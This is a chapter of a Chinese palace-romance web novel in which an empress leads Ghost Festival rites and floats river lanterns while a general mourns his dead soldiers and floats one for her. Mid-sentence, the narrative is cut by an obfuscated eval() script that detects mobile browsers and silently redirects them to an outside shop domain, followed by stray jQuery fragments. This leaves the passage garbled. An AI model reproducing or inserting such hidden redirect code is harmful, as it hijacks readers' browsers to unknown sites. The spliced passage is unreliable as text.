中元节这一日,周子衿早早便起身了。
昨夜她没怎么睡好,翻来覆去想的都是前朝那些事。
瞿宴他们办事她是放心的,刑部那边假名单已经做得差不多了,工部的河堤公文也发了出去,户部的陈粮出仓正在走流程,桩桩件件,都有条不紊。
可还是睡不着。
许是这中元节的缘故吧。
中元节,鬼门开,百鬼夜行,活着的人要给死去的亲人烧纸钱、放河灯,祈愿他们在另一个世界过得安生。
“娘娘,该梳妆了。”采芙的声音从帐外传来。
周子衿掀开帐幔,采芙和采蓉一左一右侍立着,手里捧着今日要穿的浅色吉服。
中元节祭祀奉先殿,按规矩要穿浅色,周子衿选了件月白色的织金凤纹吉服,不似绛红那般张扬,却自有一股沉静端肃的威仪,发髻也梳得简单些,只戴了一套赤金嵌白玉的头面,耳上坠着小小的珍珠耳珰。
“皇上那边,可有人去请了?”周子衿对着铜镜理了理鬓发,问道。
采芙抿了抿唇,与采蓉交换了一个眼神,才低声道:“高公公早早来过了,说……”
“说什么?”周子衿追问。
“说皇上今日要与冲虚真人论道,就不去奉先殿了。”采芙小声道。
周子衿眉头一皱,随即恢复正常。
李修明当真是越来越没有身为皇帝的自觉了,背地里吃丹药,如今还论起什么狗屁道来,那冲虚道人听着便不像什么正经出家人。
不过也是在意料之中,周子衿并不意外李修明不去奉先殿,她只是没想到李修明不去的原因是跟冲虚道人论道。
奉先殿里供的是大渝列祖列宗的牌位,李修明连祖宗都不去祭拜,也不知到底在想些什么。
“不去便不去吧。”周子衿淡淡道,“本宫带妃嫔们去便是。”
采芙应了一声,不再多言。
用过早膳,周子衿便乘了步撵往奉先殿去。
七月半的日头不算毒,可闷得很,像是憋着一场雨,宫道两旁的槐树耷拉着叶子,蝉鸣声一阵紧似一阵,聒噪得让人心烦。
奉先殿在宫城东南是宫中祭祀列祖列宗的所在,平日里殿门紧闭,只有初一十五和各大节庆才会打开。
今日中元节,殿门大开,殿内已经布置妥当,香烛纸钱、祭品供果,一应俱全。
礼官们穿着簇新的祭服,肃立在殿门两侧。
周子衿到的时候,怡妃、林昭仪和赵昭仪已经候在殿外了。
今日有资格来奉先殿祭祀的妃嫔不多,只有怡妃和昭仪这样的高位妃嫔,皇后主祭,怡妃亚献,两位昭仪终献,人数虽少,礼数却不能缺。
“臣妾参见皇后娘娘。”三人齐齐行礼。
周子衿扶着采芙的手下了步撵:“免礼,进去吧。”
四人按品级列队,缓步踏入奉先殿。
殿内光线明亮,数十盏铜灯将每一处角落都照得清清楚楚,长明灯的火苗稳稳地燃着,没有丝毫摇曳,香烟袅袅升起,在殿顶的藻井下缓缓盘旋,空气中弥漫着檀香的气息,沉静而肃穆。
礼官站在一旁,手里捧着祭祀的册子,高声道:“吉时已到,祭祀开始!皇后娘娘主祭——”
周子衿走到香案前,从礼官手中接过三炷香,高高举过头顶,深深三鞠躬,然后将香插入香炉。
青烟袅袅升起,在她眼前缓缓飘散。
周子衿望着那一排排黑漆描金的牌位,心中没什么波澜,这些列祖列宗她一个都不认识,他们活着的时候,或英明或昏庸,或仁厚或暴虐,可死后都一样,不过是一块冷冰冰的牌位。
要真在天有灵,就该好好收拾了李修明。
紧接着便是怡妃亚献。
怡妃上前,接过香,三鞠躬,插入香炉。
两位昭仪也是这个流程,没有什么复杂的,主要是人得到这儿。
祭祀的流程不算复杂,可一套走下来,也花了将半个多时辰,待终献结束,礼官又唱了一长串祭文,无外乎是“皇天在上,列祖列宗垂鉴”之类的套话。
周子衿一个字都没听进去。
她想着晚上要去放河灯。
要给父母放一盏,也给……
周子衿脑海中浮现出一张棱角分明的脸。
也给秦携放一盏。
连掉脑袋的事情都敢跟着自己做,也不知是胆子大还是心大,她得替他求个平安,求个顺遂。
“祭祀礼成——”礼官的声音拉得老长,将周子衿的思绪拉了回来。
周子衿看了一眼那些在烛光下静静矗立的牌位,转身向外走去。
殿外的日光依旧白花花的,刺得人眼睛发疼,周子衿眯了眯眼,深深吸了一口气,殿内的檀香味虽不重,可待久了还是有些闷,此刻呼吸到外面的空气,觉得清爽多了。
“怡妃、林昭仪、赵昭仪。”周子衿对三人道,“辛苦了,回去歇着吧,晚上还要放河灯。”
三人行了礼:“臣妾告退。”
……
本以为会下一场雨,熬了许久也没有动静,到傍晚时分,天边反倒透出一抹淡淡的霞光,将整座宫城染上一层橘红色。
周子衿在凤仪宫用了晚膳,便张罗着放河灯的事。
河灯是内务府早就备好的,各式各样,有莲花形的、有船形的、有鲤鱼形的,扎得精致漂亮,烛台固定在灯座中央,点燃后放入水中,便会顺着水流慢慢漂走。
“娘娘,河灯都在御花园的湖边备好了。”高禄进来禀报,“各宫妃嫔也已经在湖边候着了。”
周子衿点点头,由采芙扶着出了殿门。
步撵沿着宫道缓缓前行,穿过一道又一道宫门。
天色渐渐暗下来,宫道两旁已经掌了灯,昏黄的光晕在青石地面上投下一团团朦胧的光影,远处偶尔传来几声蝉鸣,有气无力的。
许是蝉也有此节要惦念的另一只蝉。
御花园的湖边,此刻已是灯火点点。
妃嫔们三三两两地站在湖边,手里捧着各色河灯,低声说着话,见周子衿的步撵过来,众人连忙敛衽行礼。
“都起来吧。”周子衿下了步撵,目光扫过众人,“今日中元节,本宫带你们放河灯祈福,不必拘礼,各自放各自的便是。”
妃嫔们谢了恩,便散开到湖边,开始往水里放灯。
河灯一盏一盏地漂出去,起初还挤在一起,渐渐便散开了,顺着水流,慢悠悠地往远处漂去,烛火在水面上摇曳,像一颗一颗散落的星星,又像无数双眼睛,在黑暗中静静地望着人间。
“娘娘,您的灯。”采芙捧着一盏莲花形
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619924|202670||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的河灯过来,灯座上的蜡烛已经点燃了,火苗在晚风中轻轻摇晃。
周子衿接过河灯,蹲下.身,将它轻轻放在水面上。
莲花灯在水面上晃了晃,稳住了便开始顺着水流慢慢漂走。
周子衿立在湖边,看着那盏灯越漂越远,双手合十。
爹爹娘亲,你们在那边可还好吗?女儿不孝,不能为你们烧纸点烛火,只能点灯一盏,遥寄思念。
“娘娘,还有灯。”采芙把一盏点好的灯放入水中,“娘娘多许些愿望吧。”
周子衿从善如流再次许愿,哪怕采芙不给她拿灯,她自己也是会再放一盏的。
愿秦携平安顺遂。
周子衿在心里默默念出名字时,心跳莫名快了几拍。
宫墙之外,京城的夜晚比白日里热闹得多。
中元节是民间的大日子,家家户户都要烧纸钱、放河灯,祭祀死去的亲人。
京城内外,护城河畔,到处都是星星点点的火光,纸钱燃烧的烟气弥漫在空气中,带着一股呛人的焦糊味。
秦携和郑越带着几个亲兵,在城外的校场上设了一个小小的祭台,祭台上供着香烛纸钱,还有几坛子好酒。
今日要祭奠的人很多,那些在北疆战场上死去的兄弟们多到数也数不清了。
秦携点燃三炷香,高举过头顶,深深三鞠躬。
“兄弟们,又是一年中元节了。”秦携的声音很轻,很快就在夜风中飘散,“你们在那边,可还安好?”
“今年北疆还算安稳。”秦携继续道,“羯族那个可汗被我们砍了,他们一时半会儿翻不起浪来,你们可以安息了。”
秦携将三炷香插入香炉,又从亲兵手中接过一摞纸钱,一张一张地往火盆里扔。
纸钱在火盆里卷曲、燃烧、化成灰烬,火光照在秦携脸上,将那张棱角分明的脸映得忽明忽暗。
郑越站在一旁,手里也捧着一摞纸钱,默默地烧着。
“将军。”郑越忽然开口,“你说那些兄弟们,在那边能不能过上好日子?活着的时候没享过福,死了总该享享福了吧?”
秦携的手微微一顿,随即继续往火盆里扔纸钱。
“会的。”他说,“那边没有战争。”
纸钱烧完了,秦携又从亲兵手中接过一盏河灯。
那是一盏普通的莲花灯,是秦携从街上买的,不算精致,却扎得结实,灯座上的蜡烛已经点燃了,火苗在晚风中轻轻摇晃。
秦携蹲下.身,将河灯轻轻放在校场边的小河沟里。
这条小河沟连着护城河,护城河又连着城外的大河,河灯会一直漂下去,漂到很远很远的地方。
秦携蹲在河边,看着那盏灯越漂越远,心中默默念道:这一盏,给她。
他不敢念出名字,只能在心里唤一声。
愿她平安喜乐,福祚绵长。
河灯在秦携的视野里一点点变小,最后成了一抹星子,秦携站起身,最后看了一眼那盏已经变成一个小光点的河灯。
秦携不知道的是,在他看不见的地方,有人为他放了一盏河灯。
她祈愿他健康顺遂,一生平安。
而他祈愿她平安喜乐,不再受苦。
两盏河灯,一在宫内,一在宫外,顺着各自的水流,漂向同一个远方。